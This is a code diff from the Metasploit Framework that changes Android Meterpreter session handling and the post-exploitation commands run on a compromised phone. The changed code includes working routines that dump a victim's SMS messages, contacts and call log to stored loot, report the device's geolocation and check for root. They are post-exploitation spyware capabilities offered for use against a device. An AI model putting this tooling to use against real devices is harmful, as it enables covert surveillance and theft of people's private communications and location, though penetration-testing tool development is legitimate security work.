fixing auto load on new session

lib/msf/base/sessions/meterpreter_android.rb

@@ -0,0 +1,36 @@
+# -*- coding: binary -*-
+
+require 'msf/base/sessions/meterpreter'
+require 'msf/base/sessions/meterpreter_options'
+
+module Msf
+module Sessions
+
+###
+#
+# This class creates a platform-specific meterpreter session type
+#
+###
+class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
+
+  def supports_ssl?
+    false
+  end
+  def supports_zlib?
+    false
+  end
+  def initialize(rstream, opts={})
+    super
+    self.platform = 'java/android'
+  end
+  def load_android
+    original = console.disable_output  
+    console.disable_output = true
+    console.run_single('load android')
+    console.disable_output = original
+  end
+end
+
+end
+end
+

lib/msf/base/sessions/meterpreter_java.rb

@@ -11,6 +11,7 @@ module Sessions
 #
 ###
 class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
+
   def supports_ssl?
     false
   end
@@ -22,11 +23,6 @@ class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
     self.platform      = 'java/java'
     self.binary_suffix = 'jar'
   end
-  def load_android
-    self.platform = 'java/android'  
-    console.disable_output = true
-    console.run_single('load android')
-  end
 end
 
 end

lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb

@@ -1,4 +1,5 @@
 # -*- coding: binary -*-
+require 'msf/core'
 require 'rex/post/meterpreter'
 
 module Rex
@@ -12,8 +13,8 @@ module Ui
 ###
 
 class Console::CommandDispatcher::Android
-
   include Console::CommandDispatcher
+  include Msf::Auxiliary::Report
 
   def initialize(shell)
     super
@@ -59,7 +60,7 @@ class Console::CommandDispatcher::Android
     device_shutdown_opts.parse(args) { | opt, idx, val |
       case opt
       when '-h'
-        print_line('Usage: device_shutdown [options]\n')
+        print_line('Usage: device_shutdown [options]')
         print_line('Shutdown device.')
         print_line(device_shutdown_opts.usage)
         return
@@ -88,7 +89,7 @@ class Console::CommandDispatcher::Android
     dump_sms_opts.parse(args) { | opt, idx, val |
       case opt
       when '-h'
-        print_line('Usage: dump_sms [options]\n')
+        print_line('Usage: dump_sms [options]')
         print_line('Get sms messages.')
         print_line(dump_sms_opts.usage)
         return
@@ -105,21 +106,20 @@ class Console::CommandDispatcher::Android
       begin
         info = client.sys.config.sysinfo
 
-        ::File.open(path, 'wb') do |fd|
+        data = String::new
-
+        data << "\n=====================\n"
-          fd.write("\n=====================\n")
+        data << "[+] Sms messages dump\n"
-          fd.write("[+] Sms messages dump\n")
+        data << "=====================\n\n"
-          fd.write("=====================\n\n")
 
         time = Time.new
-          fd.write("Date: #{time.inspect}\n")
+        data << "Date: #{time.inspect}\n"
-          fd.write("OS: #{info['OS']}\n")
+        data << "OS: #{info['OS']}\n"
-          fd.write("Remote IP: #{client.sock.peerhost}\n")
+        data << "Remote IP: #{client.sock.peerhost}\n"
-          fd.write("Remote Port: #{client.sock.peerport}\n\n")
+        data << "Remote Port: #{client.sock.peerport}\n\n"
 
         smsList.each_with_index { |a, index|
 
-            fd.write("##{(index.to_i + 1).to_s()}\n")
+          data << "##{(index.to_i + 1).to_s()}\n"
 
           type = 'Unknown'
           if a['type'] == '1'
@@ -143,20 +143,18 @@ class Console::CommandDispatcher::Android
             status = 'SMS_REPLACED_BY_SC'
           end
 
-            fd.write("Type\t: #{type}\n")
+          data << "Type\t: #{type}\n"
 
           time = a['date'].to_i / 1000
           time = Time.at(time)
 
-            fd.write("Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n")
+          data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
-            fd.write("Address\t: #{a['address']}\n")
+          data << "Address\t: #{a['address']}\n"
-            fd.write("Status\t: #{status}\n")
+          data << "Status\t: #{status}\n"
-            fd.write("Message\t: #{a['body']}\n\n")
+          data << "Message\t: #{a['body']}\n\n"
         }
-        end
-
-        path = ::File.expand_path(path)
 
+        path = store_loot("android.sms", "text/plain", client.sock.peerhost, data, "sms.txt", "Android SMS Dump")
         print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
         Rex::Compat.open_file(path)
 
@@ -185,7 +183,7 @@ class Console::CommandDispatcher::Android
     dump_contacts_opts.parse(args) { | opt, idx, val |
       case opt
       when '-h'
-        print_line('Usage: dump_contacts [options]\n')
+        print_line('Usage: dump_contacts [options]')
         print_line('Get contacts list.')
         print_line(dump_contacts_opts.usage)
         return
@@ -202,40 +200,38 @@ class Console::CommandDispatcher::Android
       begin
         info = client.sys.config.sysinfo
 
-        ::File.open(path, 'wb') do |fd|
+        data = String::new
-
+        data << "\n======================\n"
-          fd.write("\n======================\n")
+        data << "[+] Contacts list dump\n"
-          fd.write("[+] Contacts list dump\n")
+        data << "======================\n\n"
-          fd.write("======================\n\n")
 
         time = Time.new
-          fd.write("Date: #{time.inspect}\n")
+        data << "Date: #{time.inspect}\n"
-          fd.write("OS: #{info['OS']}\n")
+        data << "OS: #{info['OS']}\n"
-          fd.write("Remote IP: #{client.sock.peerhost}\n")
+        data << "Remote IP: #{client.sock.peerhost}\n"
-          fd.write("Remote Port: #{client.sock.peerport}\n\n")
+        data << "Remote Port: #{client.sock.peerport}\n\n"
 
         contactList.each_with_index { |c, index|
 
-            fd.write("##{(index.to_i + 1).to_s()}\n")
+          data << "##{(index.to_i + 1).to_s()}\n"
-            fd.write("Name\t: #{c['name']}\n")
+          data << "Name\t: #{c['name']}\n"
 
           if c['number'].count > 0
             (c['number']).each { |n|
-                fd.write("Number\t: #{n}\n")
+              data << "Number\t: #{n}\n"
             }
           end
 
           if c['email'].count > 0
             (c['email']).each { |n|
-                fd.write("Email\t: #{n}\n")
+              data << "Email\t: #{n}\n"
             }
           end
 
-            fd.write("\n")
+          data << "\n"
         }
-        end
   
-        path = ::File.expand_path(path)
+        path = store_loot("android.contacts", "text/plain", client.sock.peerhost, data, "contacts.txt", "Android Contacts Dump")
         print_status("Contacts list saved to: #{path}")
         Rex::Compat.open_file(path)
 
@@ -263,7 +259,7 @@ class Console::CommandDispatcher::Android
     geolocate_opts.parse(args) { | opt, idx, val |
       case opt
       when '-h'
-        print_line('Usage: geolocate [options]\n')
+        print_line('Usage: geolocate [options]')
         print_line('Get current location using geolocation.')
         print_line(geolocate_opts.usage)
         return
@@ -274,7 +270,7 @@ class Console::CommandDispatcher::Android
 
     geo = client.android.geolocate
 
-    print_status('Current Location:\n')
+    print_status('Current Location:')
     print_line("\tLatitude  : #{geo[0]['lat']}")
     print_line("\tLongitude : #{geo[0]['long']}\n")
     print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat']},#{geo[0]['long']}&sensor=true\n")
@@ -302,7 +298,7 @@ class Console::CommandDispatcher::Android
     dump_calllog_opts.parse(args) { | opt, idx, val |
       case opt
       when '-h'
-        print_line('Usage: dump_calllog [options]\n')
+        print_line('Usage: dump_calllog [options]')
         print_line('Get call log.')
         print_line(dump_calllog_opts.usage)
         return
@@ -318,32 +314,30 @@ class Console::CommandDispatcher::Android
       begin
         info = client.sys.config.sysinfo
 
-        ::File.open(path, 'wb') do |fd|
+        data = String::new
-
+        data << "\n=================\n"
-          fd.write("\n=================\n")
+        data << "[+] Call log dump\n"
-          fd.write("[+] Call log dump\n")
+        data << "=================\n\n"
-          fd.write("=================\n\n")
 
         time = Time.new
-          fd.write("Date: #{time.inspect}\n")
+        data << "Date: #{time.inspect}\n"
-          fd.write("OS: #{info['OS']}\n")
+        data << "OS: #{info['OS']}\n"
-          fd.write("Remote IP: #{client.sock.peerhost}\n")
+        data << "Remote IP: #{client.sock.peerhost}\n"
-          fd.write("Remote Port: #{client.sock.peerport}\n\n")
+        data << "Remote Port: #{client.sock.peerport}\n\n"
 
         log.each_with_index { |a, index|
 
-            fd.write("##{(index.to_i + 1).to_s()}\n")
+          data << "##{(index.to_i + 1).to_s()}\n"
 
-            fd.write("Number\t: #{a['number']}\n")
+          data << "Number\t: #{a['number']}\n"
-            fd.write("Name\t: #{a['name']}\n")
+          data << "Name\t: #{a['name']}\n"
-            fd.write("Date\t: #{a['date']}\n")
+          data << "Date\t: #{a['date']}\n"
-            fd.write("Type\t: #{a['type']}\n")
+          data << "Type\t: #{a['type']}\n"
-            fd.write("Duration: #{a['duration']}\n\n")
+          data << "Duration: #{a['duration']}\n\n"
         }
-        end
 
-        path = ::File.expand_path(path)
+        path = store_loot("android.calllog", "text/plain", client.sock.peerhost, data, "call-log.txt", "Android Call Log Dump")
-        print_status("Call log saved to: #{path}")
+        print_status("Call log saved to #{path}")
         Rex::Compat.open_file(path)
 
         return true
@@ -367,7 +361,7 @@ class Console::CommandDispatcher::Android
     check_root_opts.parse(args) { | opt, idx, val |
       case opt
       when '-h'
-        print_line('Usage: check_root [options]\n')
+        print_line('Usage: check_root [options]')
         print_line('Check if device is rooted.')
         print_line(check_root_opts.usage)
         return

modules/payloads/stages/android/meterpreter.rb

@@ -5,17 +5,13 @@
 
 require 'msf/core'
 require 'msf/core/payload/dalvik'
-require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/meterpreter_android'
-require 'msf/base/sessions/meterpreter_java'
 require 'msf/base/sessions/meterpreter_options'
 
 
 module Metasploit3
   include Msf::Sessions::MeterpreterOptions
 
-  # The stager should have already included this
-  #include Msf::Payload::Java
-
   def initialize(info = {})
     super(update_info(info,
       'Name'			=> 'Android Meterpreter',
@@ -28,7 +24,7 @@ module Metasploit3
       'Platform'		=> 'android',
       'Arch'			=> ARCH_DALVIK,
       'License'		=> MSF_LICENSE,
-      'Session'		=> Msf::Sessions::Meterpreter_Java_Java))
+      'Session'		=> Msf::Sessions::Meterpreter_Java_Android))
 
     register_options(
     [
@@ -56,7 +52,6 @@ module Metasploit3
   def on_session(session)
     super
     framework.sessions.schedule Proc.new {
-      session.init_ui(self.user_input, self.user_output)
       if (datastore['AutoLoadAndroid'])
         session.load_android
       end